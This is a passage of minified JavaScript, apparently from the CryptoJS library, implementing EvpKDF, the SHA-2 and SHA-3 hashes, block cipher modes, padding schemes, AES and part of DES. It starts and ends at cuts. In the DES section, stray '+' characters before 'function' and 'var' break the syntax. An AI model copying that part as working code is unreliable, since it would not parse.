r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 